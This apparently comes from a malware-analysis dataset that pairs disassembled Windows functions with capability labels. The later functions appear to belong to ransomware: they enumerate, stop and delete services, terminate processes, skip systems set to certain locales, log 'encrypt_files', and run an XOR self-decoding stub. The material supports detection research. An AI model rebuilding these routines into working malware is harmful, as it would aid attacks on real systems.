joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4067a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426ea6
mov eax, dword fs:[0]
push eax
sub esp, 0x240
mov eax, dword [0x4334c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x208
push 0
push eax
mov dword [ebp - 0x24c], esi
call fcn.004101a0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push 0x7e
push eax
call fcn.0040fe80
lea ecx, [ebp - 0x218]
add esp, 8
mov edx, eax
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406820
sub ecx, edi
mov dword [ebp - 0x230], 0
xor eax, eax
sar ecx, 1
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
push ecx
lea ecx, [ebp - 0x230]
push eax
test edx, edx
je 0x406922
call fcn.0040cfe0
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.0040ba30
push eax
push esi
mov byte [ebp - 4], 1
call fcn.00406da0
mov edx, dword [ebp - 0x234]
add esp, 0x10
cmp edx, 0x10
jb 0x4068d3
mov ecx, dword [ebp - 0x248]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4068c9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406967
push edx
push ecx
call fcn.0040e718
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x40694a
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406940
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406967
jmp 0x406940
call fcn.0040cfe0
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 2
push eax
push esi
call fcn.0040ba30
add esp, 8
jmp 0x4068ee
push edx
push ecx
call fcn.0040e718
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e726
mov esp, ebp
pop ebp
ret
call fcn.00411b7f
int3
Function at 0x4180cf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41810e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41810e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41810e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41810e
cmp dword [ecx + 0x74], 0xe
jbe 0x41810e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41a314
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a296

Function at 0x41cbae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x434b20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41cbee
cmp byte [ebx], 0xa
jne 0x41cbee
or byte [edi + eax + 0x28], 4
jmp 0x41cbf3
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41ccf2
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41ccd5
inc eax
cmp dl, 0xd
je 0x41cc1f
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41cc45
cmp eax, ecx
jae 0x41cc53
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41cc07
jmp 0x41ccf2
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ccd0
cmp dword [ebp - 0x10], 0
je 0x41ccd0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x434b20]
test byte [eax + edi + 0x28], 0x48
je 0x41ccaa
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41cc95
mov byte [esi], dl
jmp 0x41cca6
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x434b20]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ccf2
cmp byte [ebp - 1], 0xa
jne 0x41ccb9
cmp esi, ebx
jne 0x41ccb9
mov byte [esi], 0xa
jmp 0x41ccf1
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041d5fd
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ccf2
mov byte [esi], 0xd
jmp 0x41ccf1
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x434b20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ccef
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ccf2
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ccfb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x434b20]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41cd41
cmp word [ebx], dx
jne 0x41cd41
or byte [eax + edi + 0x28], 4
jmp 0x41cd46
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41cea9
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41ce89
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41cd87
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41cdbd
cmp eax, edx
jae 0x41cdcb
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41cd62
jmp 0x41cea9
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ce84
cmp dword [ebp - 0x18], 0
je 0x41ce84
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x434b20]
test byte [eax + edi + 0x28], 0x48
je 0x41ce5a
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41ce1e
mov word [esi], cx
jmp 0x41ce55
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x434b20]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x434b20]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x434b20]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41cea9
pop eax
cmp word [ebp - 4], ax
jne 0x41ce6a
cmp esi, ebx
jne 0x41ce6a
mov word [esi], ax
jmp 0x41cea6
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041d5fd
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41cea9
push 0xd
pop eax
jmp 0x41ce65
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x434b20]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41cea3
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41cea9
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ea0e
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c5a0
push 0x42c598
push str.FlsAlloc
push 0x1f
call fcn.0041e8aa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ea42
push dword [ebp + 8]
mov ecx, esi
call dword [0x4281d0]
call esi
jmp 0x41ea48
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41ea8c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c5b0
push 0x42c5a8
push str.FlsGetValue
push 0x21
call fcn.0041e8aa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41eac3
push dword [ebp + 8]
mov ecx, esi
call dword [0x4281d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41eacb
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c5b8
push 0x42c5b0
push str.FlsSetValue
push 0x22
call fcn.0041e8aa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41eb05
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4281d0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41fda4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41fe41
push ebx
push esi
call fcn.0041fd6d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041e6f1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41fdee
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41fe40
push edi
push eax
call fcn.0041abc3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41fe0e
call fcn.0041ab89
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41fe3f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041e6f1
add esp, 0x20
test eax, eax
jne 0x41fe2d
push edi
call fcn.0041ab89
jmp 0x41fe35
push ebx
call fcn.0041ab89
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x424d85
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00424d01
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x424ef4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x424ef4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x424ea9
jg 0x424de1
test eax, eax
je 0x424e9f
push 1
push 0x1000
call fcn.0041edc6
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x424e04
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x424e96
push 0x8000
push ebx
call fcn.00418295
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x424e2d
jg 0x424e28
cmp ecx, 0x1000
jb 0x424e2d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0041df45
add esp, 0x10
cmp eax, 0xffffffff
je 0x424e72
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x424e28
jl 0x424e59
test ecx, ecx
jne 0x424e1a
push dword [ebp - 0xc]
push ebx
call fcn.00418295
push esi
call fcn.0041ab89
add esp, 0xc
xor ebx, ebx
jmp 0x424f02
cmp byte [edi + 0x24], 0
je 0x424e89
cmp dword [edi + 0x20], 5
jne 0x424e89
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x424e94
mov ebx, dword [edi + 0x18]
jmp 0x424e96
xor ebx, ebx
push esi
call fcn.0041ab89
pop ecx
jmp 0x424f02
test ecx, ecx
jg 0x424e6b
jl 0x424ea9
test eax, eax
jae 0x424e6b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041d5fd
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x424ec9
cmp byte [edi + 0x1c], 0
je 0x424e6b
jmp 0x424efa
push ebx
call fcn.00420233
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x424e6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x424f02
cmp byte [edi + 0x1c], 0
je 0x424eff
mov ebx, dword [edi + 0x18]
jmp 0x424f02
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0041d5fd
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x40895c
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop ecx
call fcn.00408984
or edi, esi
xor dword [ebx], ecx
dec edi
or esi, edi
inc ebx
dec edi
cmp ebx, edx
jne fcn.0040895c
dec edi
sub esi, 0xb227bb2b
ret

Function at 0x806058
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x80605e
pop ebp
sub ebp, 6
sub ebp, 0x406058
jmp 0x8060bc
jmp 0x8060c5
mov eax, 0x406058
add eax, ebp
add eax, 0x93
mov ecx, 0x620
mov edx, 0x9986a93
xor byte [eax], dl
inc eax
dec ecx
jne 0x8060dc
jmp 0x8060ef
stc
sar ebx, cl
xchg ebx, eax
adc dword [ebx + 0x5f93fb93], 0xffffffbf
xchg ebx, eax
mov al, byte [0x66cc353]
xchg ebx, eax
inc edx
movsd dword es:[edi], dword [esi]
xchg ebx, eax
ret
Function at 0xbd056b
Capabilities:
Create thread
Move file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x80000001
call dword [sym.imp.kernel32.dll_SetThreadExecutionState]
call fcn.00bd2552
call fcn.00bce0ed
mov edi, eax
xor ebx, ebx
test edi, edi
je 0xbd0652
cmp dword [0xbe0d28], ebx
jne 0xbd05ab
call fcn.00bd2681
test eax, eax
je 0xbd05ab
push ebx
call fcn.00bd202b
pop ecx
call fcn.00bcf703
push ebx
push ebx
push ebx
push 0xbd07ee
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
push eax
call fcn.00bd1e17
pop ecx
call fcn.00bd07ac
call fcn.00bd0b15
call fcn.00bd1ea2
call fcn.00bd004b
test eax, eax
je 0xbd069b
cmp dword [0xbe0d3c], ebx
jne 0xbd069b
call fcn.00bd1574
cmp dword [0xbe0d3c], ebx
jne 0xbd069b
cmp dword [0xbe0d24], ebx
je 0xbd069b
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push str.knock_stat_domain_r_n
push 8
call fcn.00bd1b2c
add esp, 0x10
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
push 0xbcf818
push ebx
push 0x3b
push dword [0xbe0c98]
call fcn.00bd32cb
add esp, 0x10
jmp 0xbd069b
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._ERR_
push 0xc
call fcn.00bd1b2c
push str.config_init_error_r_n
push 4
call fcn.00bd1b2c
push 0x568
push str.encrypt_files
push 0xbdb0b0
push str._______S:_S:_lu_r_n
push 4
call fcn.00bd1b2c
add esp, 0x24
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call fcn.00bce002
call fcn.00bd25fa
push 0x80000000
call dword [sym.imp.kernel32.dll_SetThreadExecutionState]
lea eax, [ebp - 4]
push eax
push ebx
call fcn.00bd237b
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0xbd06d3
push 4
push ebx
push esi
call dword [sym.imp.kernel32.dll_MoveFileExW]
push esi
call fcn.00bd1c8e
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd0b15
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push 4
push str.ServicesActive
xor esi, esi
push esi
call dword [sym.imp.advapi32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0xbd0b3a
xor eax, eax
jmp 0xbd0ce7
push esi
push esi
lea eax, [ebp - 8]
mov dword [ebp - 4], esi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 8], esi
push eax
push esi
push esi
push 1
push 0x30
push esi
push ebx
call dword [sym.imp.advapi32.dll_EnumServicesStatusExW]
test eax, eax
je 0xbd0b71
call sub.ntdll.dll_RtlGetLastWin32Error
cmp eax, 0xea
je 0xbd0b71
push ebx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
jmp 0xbd0b33
push edi
push dword [ebp - 4]
call fcn.00bd1c41
mov edi, eax
mov dword [ebp - 0x14], edi
pop ecx
test edi, edi
jne 0xbd0b92
push ebx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
xor eax, eax
jmp 0xbd0ce6
push esi
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 1
push 0x30
push esi
push ebx
call dword [sym.imp.advapi32.dll_EnumServicesStatusExW]
test eax, eax
je 0xbd0cdd
mov dword [ebp - 0x10], esi
cmp dword [ebp - 8], esi
jbe 0xbd0cda
mov eax, dword [edi]
push eax
mov dword [ebp - 0x18], eax
call fcn.00bd35b0
mov eax, dword [0xbe0d10]
pop ecx
jmp 0xbd0bed
push dword [ebp - 0x18]
push dword [eax]
call fcn.00bd3316
pop ecx
pop ecx
test eax, eax
jne 0xbd0cc9
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0xbd0bd3
mov eax, esi
test eax, eax
je 0xbd0cb1
push 0x10020
push dword [edi]
push ebx
call dword [sym.imp.advapi32.dll_OpenServiceW]
mov edx, eax
mov dword [ebp - 0xc], edx
test edx, edx
je 0xbd0cda
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x38], esi
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
push 1
push edx
call dword [sym.imp.advapi32.dll_ControlService]
test eax, eax
je 0xbd0cd1
push 0xbe0d60
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
mov edi, dword [ebp - 0x14]
push dword [edi]
push str.stop_service:__s_r_n
push 8
call fcn.00bd1b2c
add esp, 0x14
push 0xbe0d60
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_DeleteService]
test eax, eax
je 0xbd0cd1
push 0xbe0d60
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push dword [edi]
push str.delete_service:__s_r_n
push 8
call fcn.00bd1b2c
add esp, 0x14
push 0xbe0d60
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x10]
add edi, 0x2c
inc eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 8]
jb 0xbd0bc0
jmp 0xbd0cda
xor eax, eax
inc eax
jmp 0xbd0bf6
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
xor esi, esi
inc esi
push ebx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd11ef
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.kernel32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0xbd1216
push 0
push esi
call dword [sym.imp.kernel32.dll_TerminateProcess]
push esi
call fcn.00bd1e17
pop ecx
pop esi
pop ebp
ret

Function at 0xbd12ba
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
lea eax, [ebp - 0x2c]
push esi
push eax
push 0x18
pop esi
push esi
push dword [ebp + 8]
call dword [sym.imp.gdi32.dll_GetObjectW]
test eax, eax
je 0xbd146a
mov eax, dword [ebp - 0x1a]
imul eax, dword [ebp - 0x1c]
push ebx
push edi
xor edi, edi
inc edi
movzx eax, ax
cmp ax, di
jne 0xbd12f2
mov ebx, edi
jmp 0xbd1318
push 4
pop ebx
cmp ax, bx
jbe 0xbd1318
push 8
pop ebx
cmp ax, bx
jbe 0xbd1318
push 0x10
pop ebx
cmp ax, bx
jbe 0xbd1318
cmp ax, si
ja 0xbd1315
mov ebx, esi
push 0x28
jmp 0xbd1326
push 0x20
pop ebx
mov eax, edi
mov cl, bl
shl eax, cl
lea eax, [eax*4 + 0x28]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
push 0x18
mov dword [esi], 0x28
mov eax, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 8], eax
mov ax, word [ebp - 0x1c]
mov word [esi + 0xc], ax
mov ax, word [ebp - 0x1a]
mov word [esi + 0xe], ax
pop eax
cmp bx, ax
jae 0xbd1361
mov cl, bl
shl edi, cl
mov dword [esi + 0x20], edi
mov eax, dword [esi + 4]
xor edi, edi
add eax, 7
movzx ecx, bx
cdq
and edx, 7
mov dword [esi + 0x10], edi
add eax, edx
mov dword [esi + 0x24], edi
sar eax, 3
imul eax, ecx
imul eax, dword [esi + 8]
push eax
push edi
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0xbd1468
movzx ecx, word [esi + 8]
push edi
push esi
push ebx
push ecx
push edi
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.gdi32.dll_GetDIBits]
test eax, eax
je 0xbd1468
push edi
push 0x80
push 2
push edi
push edi
push 0xc0000000
push dword [ebp + 0x10]
call dword [sym.imp.kernel32.dll_CreateFileW_1]
mov edi, eax
cmp edi, 0xffffffff
je 0xbd1468
mov eax, 0x4d42
mov word [ebp - 0x14], ax
mov edx, dword [esi + 0x20]
mov ecx, dword [esi + 0x14]
mov eax, dword [esi]
push 0
lea ecx, [ecx + edx*4]
add ecx, 0xe
add eax, ecx
mov dword [ebp - 0x12], eax
xor eax, eax
mov dword [ebp - 0xe], eax
mov ecx, dword [esi + 0x20]
mov eax, dword [esi]
lea eax, [eax + ecx*4]
add eax, 0xe
mov dword [ebp - 0xa], eax
lea eax, [ebp - 4]
push eax
push 0xe
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.kernel32.dll_WriteFile_1]
test eax, eax
je 0xbd143a
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x20]
lea eax, [eax*4 + 0x28]
push eax
push esi
push edi
call dword [sym.imp.kernel32.dll_WriteFile_1]
test eax, eax
jne 0xbd143d
push edi
jmp 0xbd1453
push 0
lea eax, [ebp - 4]
push eax
push dword [esi + 0x14]
push ebx
push edi
call dword [sym.imp.kernel32.dll_WriteFile_1]
push edi
test eax, eax
jne 0xbd145b
call fcn.00bd1e17
pop ecx
jmp 0xbd1468
call fcn.00bd1e17
pop ecx
push ebx
call dword [sym.imp.kernel32.dll_GlobalFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd1b7c
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
push 0
lea eax, [ebp - 4]
push eax
push esi
call fcn.00bd3804
pop ecx
add eax, eax
push eax
push esi
push dword [0xbe0a20]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0xbd1bb0
xor eax, eax
jmp 0xbd1bde
push dword [ebp + 0xc]
push dword [0xbe0a18]
call dword [sym.imp.kernel32.dll_SetConsoleTextAttribute]
test eax, eax
je 0xbd1bac
push 0
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
push eax
push esi
push dword [0xbe0a18]
call dword [sym.imp.kernel32.dll_WriteConsoleW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xbd1d25
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
mov dword [ebp - 0x48], 0x419
mov dword [ebp - 0x44], 0x422
mov dword [ebp - 0x40], 0x423
mov dword [ebp - 0x3c], 0x428
mov dword [ebp - 0x38], 0x42b
mov dword [ebp - 0x34], 0x42c
mov dword [ebp - 0x30], 0x437
mov dword [ebp - 0x2c], 0x43f
mov dword [ebp - 0x28], 0x440
mov dword [ebp - 0x24], 0x442
mov dword [ebp - 0x20], 0x443
mov dword [ebp - 0x1c], 0x444
mov dword [ebp - 0x18], 0x818
mov dword [ebp - 0x14], 0x819
mov dword [ebp - 0x10], 0x82c
mov dword [ebp - 0xc], 0x843
mov dword [ebp - 8], 0x45a
mov dword [ebp - 4], 0x2801
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx esi, ax
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
xor eax, eax
cmp dword [ebp + eax*4 - 0x48], esi
je 0xbd1dd4
cmp dword [ebp + eax*4 - 0x48], ecx
je 0xbd1dd4
inc eax
cmp eax, 0x12
jb 0xbd1dbe
xor eax, eax
jmp 0xbd1dd7
xor eax, eax
inc eax
pop esi
mov esp, ebp
